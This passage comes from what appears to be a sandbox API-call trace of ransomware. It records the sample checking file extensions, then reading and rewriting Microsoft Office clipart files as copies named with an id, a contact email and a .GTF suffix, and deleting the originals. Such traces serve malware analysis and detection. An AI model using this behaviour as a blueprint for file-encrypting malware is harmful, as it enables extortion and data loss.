	[0083.549] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.549] lstrlenW (lpString=".xls") returned 4
	[0083.549] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.549] lstrlenW (lpString=".xlsx") returned 5
	[0083.549] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.549] lstrlenW (lpString=".ppt") returned 4
	[0083.549] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68
	[0083.549] lstrlenW (lpString=".zip") returned 4
	[0083.549] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.549] lstrlenW (lpString=".rar") returned 4
	[0083.549] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.549] lstrlenW (lpString=".bz2") returned 4
	[0083.549] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.549] lstrlenW (lpString=".7z") returned 3
	[0083.549] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68
	[0083.549] lstrlenW (lpString=".dbf") returned 4
	[0083.549] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68
	[0083.549] lstrlenW (lpString=".1cd") returned 4
	[0083.549] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68
	[0083.549] lstrlenW (lpString=".jpg") returned 4
	[0083.549] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68
	[0083.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68
	[0083.550] lstrlenW (lpString=".doc") returned 4
	[0083.550] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.550] lstrlenW (lpString=".docx") returned 5
	[0083.550] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.550] lstrlenW (lpString=".pdf") returned 4
	[0083.550] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.550] lstrlenW (lpString=".xls") returned 4
	[0083.550] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.550] lstrlenW (lpString=".xlsx") returned 5
	[0083.550] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.550] lstrlenW (lpString=".ppt") returned 4
	[0083.550] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68
	[0083.550] lstrlenW (lpString=".zip") returned 4
	[0083.550] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.550] lstrlenW (lpString=".rar") returned 4
	[0083.550] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.550] lstrlenW (lpString=".bz2") returned 4
	[0083.550] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.550] lstrlenW (lpString=".7z") returned 3
	[0083.550] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68
	[0083.550] lstrlenW (lpString=".dbf") returned 4
	[0083.550] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68
	[0083.550] lstrlenW (lpString=".1cd") returned 4
	[0083.550] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68
	[0083.550] lstrlenW (lpString=".jpg") returned 4
	[0083.550] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.550] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0083.550] lstrlenW (lpString="BL00273_.WMF") returned 12
	[0083.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0083.551] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=3780) returned 1
	[0083.551] CloseHandle (hObject=0x374) returned 1
	[0083.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf")) returned 0x220
	[0083.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0083.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0083.552] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.552] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0083.552] GetLastError () returned 0x0
	[0083.552] ReadFile (in: hFile=0x374, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0xec4, lpOverlapped=0x0) returned 1
	[0083.554] WriteFile (in: hFile=0x36c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xed0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xed0, lpOverlapped=0x0) returned 1
	[0083.555] ReadFile (in: hFile=0x374, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.555] WriteFile (in: hFile=0x36c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.555] SetEndOfFile (hFile=0x36c) returned 1
	[0083.555] CloseHandle (hObject=0x36c) returned 1
	[0083.556] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.556] SetEndOfFile (hFile=0x374) returned 1
	[0083.557] CloseHandle (hObject=0x374) returned 1
	[0083.557] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0083.557] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf")) returned 1
	[0083.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68
	[0083.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68
	[0083.557] lstrlenW (lpString=".doc") returned 4
	[0083.557] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.557] lstrlenW (lpString=".docx") returned 5
	[0083.557] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.557] lstrlenW (lpString=".pdf") returned 4
	[0083.557] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.557] lstrlenW (lpString=".xls") returned 4
	[0083.557] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.557] lstrlenW (lpString=".xlsx") returned 5
	[0083.557] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.557] lstrlenW (lpString=".ppt") returned 4
	[0083.557] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68
	[0083.557] lstrlenW (lpString=".zip") returned 4
	[0083.557] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.558] lstrlenW (lpString=".rar") returned 4
	[0083.558] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.558] lstrlenW (lpString=".bz2") returned 4
	[0083.558] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.558] lstrlenW (lpString=".7z") returned 3
	[0083.558] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68
	[0083.558] lstrlenW (lpString=".dbf") returned 4
	[0083.558] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68
	[0083.558] lstrlenW (lpString=".1cd") returned 4
	[0083.558] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68
	[0083.558] lstrlenW (lpString=".jpg") returned 4
	[0083.558] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68
	[0083.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68
	[0083.558] lstrlenW (lpString=".doc") returned 4
	[0083.558] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.558] lstrlenW (lpString=".docx") returned 5
	[0083.558] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.558] lstrlenW (lpString=".pdf") returned 4
	[0083.558] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.558] lstrlenW (lpString=".xls") returned 4
	[0083.558] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.558] lstrlenW (lpString=".xlsx") returned 5
	[0083.558] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.558] lstrlenW (lpString=".ppt") returned 4
	[0083.558] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68
	[0083.558] lstrlenW (lpString=".zip") returned 4
	[0083.558] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.558] lstrlenW (lpString=".rar") returned 4
	[0083.558] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.558] lstrlenW (lpString=".bz2") returned 4
	[0083.558] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.559] lstrlenW (lpString=".7z") returned 3
	[0083.559] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68
	[0083.559] lstrlenW (lpString=".dbf") returned 4
	[0083.559] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68
	[0083.559] lstrlenW (lpString=".1cd") returned 4
	[0083.559] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68
	[0083.559] lstrlenW (lpString=".jpg") returned 4
	[0083.559] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.559] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0083.559] lstrlenW (lpString="BL00274_.WMF") returned 12
	[0083.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0083.559] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=4164) returned 1
	[0083.559] CloseHandle (hObject=0x374) returned 1
	[0083.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf")) returned 0x220
	[0083.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0083.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0083.560] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.560] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0083.560] GetLastError () returned 0x0
	[0083.560] ReadFile (in: hFile=0x374, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x1044, lpOverlapped=0x0) returned 1
	[0083.562] WriteFile (in: hFile=0x36c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x1050, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x1050, lpOverlapped=0x0) returned 1
	[0083.563] ReadFile (in: hFile=0x374, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.563] WriteFile (in: hFile=0x36c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.563] SetEndOfFile (hFile=0x36c) returned 1
	[0083.563] CloseHandle (hObject=0x36c) returned 1
	[0083.564] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.564] SetEndOfFile (hFile=0x374) returned 1
	[0083.565] CloseHandle (hObject=0x374) returned 1
	[0083.565] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0083.565] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf")) returned 1
	[0083.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68
	[0083.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68
	[0083.566] lstrlenW (lpString=".doc") returned 4
	[0083.566] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.566] lstrlenW (lpString=".docx") returned 5
	[0083.566] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.566] lstrlenW (lpString=".pdf") returned 4
	[0083.566] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.566] lstrlenW (lpString=".xls") returned 4
	[0083.566] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.566] lstrlenW (lpString=".xlsx") returned 5
	[0083.566] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.566] lstrlenW (lpString=".ppt") returned 4
	[0083.566] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68
	[0083.566] lstrlenW (lpString=".zip") returned 4
	[0083.566] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.566] lstrlenW (lpString=".rar") returned 4
	[0083.566] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.566] lstrlenW (lpString=".bz2") returned 4
	[0083.566] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.566] lstrlenW (lpString=".7z") returned 3
	[0083.566] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68
	[0083.566] lstrlenW (lpString=".dbf") returned 4
	[0083.566] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68
	[0083.566] lstrlenW (lpString=".1cd") returned 4
	[0083.566] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68
	[0083.566] lstrlenW (lpString=".jpg") returned 4
	[0083.566] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68
	[0083.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68
	[0083.567] lstrlenW (lpString=".doc") returned 4
	[0083.567] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.567] lstrlenW (lpString=".docx") returned 5
	[0083.567] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.567] lstrlenW (lpString=".pdf") returned 4
	[0083.567] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.567] lstrlenW (lpString=".xls") returned 4
	[0083.567] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.567] lstrlenW (lpString=".xlsx") returned 5
	[0083.567] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.567] lstrlenW (lpString=".ppt") returned 4
	[0083.567] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68
	[0083.567] lstrlenW (lpString=".zip") returned 4
	[0083.567] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.567] lstrlenW (lpString=".rar") returned 4
	[0083.567] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.567] lstrlenW (lpString=".bz2") returned 4
	[0083.567] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.567] lstrlenW (lpString=".7z") returned 3
	[0083.567] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68
	[0083.567] lstrlenW (lpString=".dbf") returned 4
	[0083.567] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68
	[0083.567] lstrlenW (lpString=".1cd") returned 4
	[0083.567] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68
	[0083.567] lstrlenW (lpString=".jpg") returned 4
	[0083.567] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.568] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0083.568] lstrlenW (lpString="BL00296_.WMF") returned 12
	[0083.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0083.568] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=812) returned 1
	[0083.568] CloseHandle (hObject=0x374) returned 1
	[0083.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf")) returned 0x220
	[0083.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0083.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0083.568] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.568] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0083.569] GetLastError () returned 0x0
	[0083.569] ReadFile (in: hFile=0x374, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x32c, lpOverlapped=0x0) returned 1
	[0083.571] WriteFile (in: hFile=0x36c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x330, lpOverlapped=0x0) returned 1
	[0083.572] ReadFile (in: hFile=0x374, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.572] WriteFile (in: hFile=0x36c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.572] SetEndOfFile (hFile=0x36c) returned 1
	[0083.572] CloseHandle (hObject=0x36c) returned 1
	[0083.573] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.573] SetEndOfFile (hFile=0x374) returned 1
	[0083.573] CloseHandle (hObject=0x374) returned 1
	[0083.573] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0083.574] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf")) returned 1
	[0083.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68
	[0083.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68
	[0083.574] lstrlenW (lpString=".doc") returned 4
	[0083.574] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
